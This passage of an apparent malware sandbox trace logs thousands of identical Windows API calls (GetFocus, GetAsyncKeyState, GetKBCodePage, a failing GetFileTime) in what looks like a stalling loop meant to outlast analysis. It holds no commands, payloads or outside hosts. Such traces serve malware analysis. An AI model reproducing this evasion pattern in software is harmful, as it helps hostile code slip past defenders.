dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.133] GetFocus () returned 0x0 [0250.133] GetAsyncKeyState (vKey=58) returned 0 [0250.133] GetKBCodePage () returned 0x1b5 [0250.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.134] GetFocus () returned 0x0 [0250.134] GetAsyncKeyState (vKey=58) returned 0 [0250.134] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.135] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.135] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.135] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.135] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.135] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.135] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.135] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.135] GetKBCodePage () returned 0x1b5 [0250.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.135] GetFocus () returned 0x0 [0250.135] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.136] GetFocus () returned 0x0 [0250.136] GetAsyncKeyState (vKey=58) returned 0 [0250.136] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.137] GetFocus () returned 0x0 [0250.137] GetAsyncKeyState (vKey=58) returned 0 [0250.137] GetKBCodePage () returned 0x1b5 [0250.137] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, 